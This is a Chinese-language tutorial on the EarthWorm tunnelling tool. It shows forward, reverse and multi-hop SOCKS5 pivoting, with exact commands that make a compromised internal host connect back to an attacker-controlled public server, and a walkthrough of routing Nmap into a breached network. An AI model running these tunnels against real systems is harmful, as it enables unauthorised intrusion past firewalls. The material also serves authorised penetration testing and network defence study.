一、地址
http://folkworm.ceri.memphis.edu/ew-dist/ 最新版本:V7.10.1 2019.9.9
二、內外穿透和EarthWorm介紹
內網穿透是我們在進行網絡連接時的一種術語,也叫做NAT穿透,即在計算機是局域網內的時候,外網與內網的計算機的節點進行連接時所需要的連接通信,有時候就會出現內網穿透不支的情況。內網穿透的功能就是,當我們在端口映射時設置時,內網穿透起到了地址轉換的功能,也就是把公網的地址進行翻譯,轉成為一種私有的地址,然后再采用路由的方式ADSL的寬帶路由器,具有一個動態或者是固定的公網IP,最后ADSL直接在交換機上,這樣所有的電腦都可以共享上網。內網穿透除了可以實現內網之間機器的網絡通信功通之外,還可以解決UDP中出現的數據傳輸不穩定問題。
EarthWorm,(簡稱EW)是一套輕量便攜且功能強大的網絡穿透工具,基於標准C開發,具有socks5代理、端口轉發和端口映射三大功能。相較於其他穿透工具,如reGeorg等, EarthWorm可以穿透更復雜的內網環境同時也不需要跳板機運行web服務,也可以支持多平台間的轉接通訊,如Linux、Windows、MacOS、Arm-Linux等。
根據官方文檔說明,EarthWorm能夠以“正向連接”、“反向連接”、“多級級聯”等方式打通一條網絡隧道,直達網絡深處,用蚯蚓獨有的手段突破網絡限制,給防火牆松土。
三、EarthWorm內網穿透
1)使用正向SOCKS v5服務器
當攻擊者位於外網時,無法直接訪問到目標網絡內部的主機,但是可以訪問到目標網絡中對外提供服務的服務器,而恰巧這台機器也擁有內網IP地址,可以訪問其他內網機器。

因此攻擊者可以在跳板機上運行EarthWorm,執行以下命令,在1080端口上開啟socks正向代理,在自己的攻擊機上開啟全局代理,代理到跳板機的1080端口,至此跳板機就可以將攻擊者本地操作的流量轉發到內網當中,從而訪問到原先無法訪問的內網機器,實現內網穿透。
./ew -s ssocksd -l 1080
2)反彈SOCKS v5 服務器
攻擊者位於外網,且無法訪問目標網絡內部的主機,但是內部網絡中存在一台對外網開放的服務器,而且可以訪問到其他內網機器。

因此攻擊者可以在內網跳板機上運行EarthWorm使其反向代理到某台公網服務器上,然后攻擊者再通過外網連接到對外服務器進而進入到內網中。首先在一台具有公網ip的主機上運行以下命令,將1080端口收到的代理請求轉發給內網跳板機的8888端口。
./ew -s rcsocks -l 1080 -e 8888
然后在內網跳板機上啟動SOCKSv5服務,並反彈到公網主機的8888端口,執行以下命令:
./ew -s rssocks -d xxx.xxx.xxx.xxx -e 8888
3)多級連接
如果攻擊者位於外網,無法訪問目標網絡內部的主機,但攻擊者可以訪問目標網絡中對外暴露的跳板機1,同時還存在一台被控內網機器(跳板機2)可以訪問到其他內網機器。
因此攻擊者可以先連接內網跳板機
1,跳板機1再主動連接跳板機2,然后再連接其他內網機器。
首先在跳板機2上執行以下命令,利用ssocksd方式啟動8888端口的socks代理:./ew -s ssocksd -l 8888;
然后再在跳板機1上執行以下命令將本機1080端口收到的socks代理請求轉交給跳板機2:./ew -s lcx_tran -l 1080 -fxxx.xxx.xxx.xxx -g 8888;
除此之外,EarthWorm還提供了自帶的三條端口轉發指令,參數格式如下:
./ew -s lcx_listen -l 1080 -e 8888
./ew -s lcx_tran -l 1080 -f 2.2.2.2 -g 9999
./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.2 -g 9999
通過這些端口轉發指令可以將處於網絡深層的基於TCP的服務轉發至根前。
4)EarthWorm內網穿透實戰
在理解了內網穿透的原理以及EarthWorm的使用方法后,我們設計一個內網穿透場景並用EarthWorm實現。
場景模擬:假設我們現在已經拿到目標內網一台機器的權限(假設此機器類似於業務服務器,能夠對外提供服務,部分端口映射至外網,我們通過漏洞成功getshell)。需要對內網做進一步的滲透,但此機器上並沒裝載任何內網滲透工具,現在我想要通過反向SOCKS5將我本地工具產生的流量代理進目標內網,所有靶機環境如下:
Kali Linux(攻擊機,內網IP:192.168.210.38)
Ubuntu 4.4.0(攻擊者控制的公網機器,公網IP:39.106.228.105)
Windows10(內網被控機,內網IP:192.168.20.35)
首先在攻擊者控制的公網機器上上傳EarthWorm,並執行以下命令:
./ew_for_linux -s -rcsocks -l 1080 -e 1024
讓公網機器監聽1080和1024端口,等待攻擊者機器訪問1080端口,內網機器反彈到1040端口。

然后在內網被控機上上傳EarthWorm,運行如下命令:
ew_for_win_32.exe-s rssocks -d 39.106.228.105 -e 1024
讓內網被控機使用反向代理的方式連接到公網的服務器上,並將流量統一轉發到1040端口。

此時可以看到,公網服務器上提示:rssockscmd_socket OK!,證明已經成功與內網服務器建立了反向連接。

在攻擊者本地的攻擊機上,上傳proxychains工具,修改配置文件,將socks5的目標地址填成公網服務器地址,端口也換成1080,這樣攻擊者就與公網服務器建立了socks5連接,並將流量統一轉發到1080端口。

至此攻擊者已經成功打通一條內網通道,攻擊者可以在本地攻擊機上使用任何支持socks5傳輸的工具,這些工具流量會經由攻擊機->公網->內網機,比如內網服務器幾乎不可能安裝nmap工具,那么攻擊者可以通過這種方法,將本地Nmap的流量轉發到內網服務器中,實現內網滲透。但需要注意的是,並不是所有的工具都支持socks5代理。但總的來說還是方便不少。

5)總結
EarthWorm一共提供了六種鏈路狀態,分別為三種可以提供socks代理功能的參數:ssocksd、rcsocks和rssocks,還有三種提供端口轉發功能的參數:lcx_slave、lcx_tran和lcx_listen。在實際的滲透測試中遇到的場景可能極為復雜,多種分區與規則並存,防火牆可能無處不在,這樣通過一個socks代理就很難打通一條穿透內網的線路了,更不用說訪問整個內網了,這個時候就會需要位於不同網段,不同區域的節點相互配合,靈活運用正向連接、反向連接和多級連接繞過各種限制,像“蚯蚓”一樣,努力在內網中“鑽”出一條通路來,直達網絡深處,才能最大程度的實現“內網穿透”。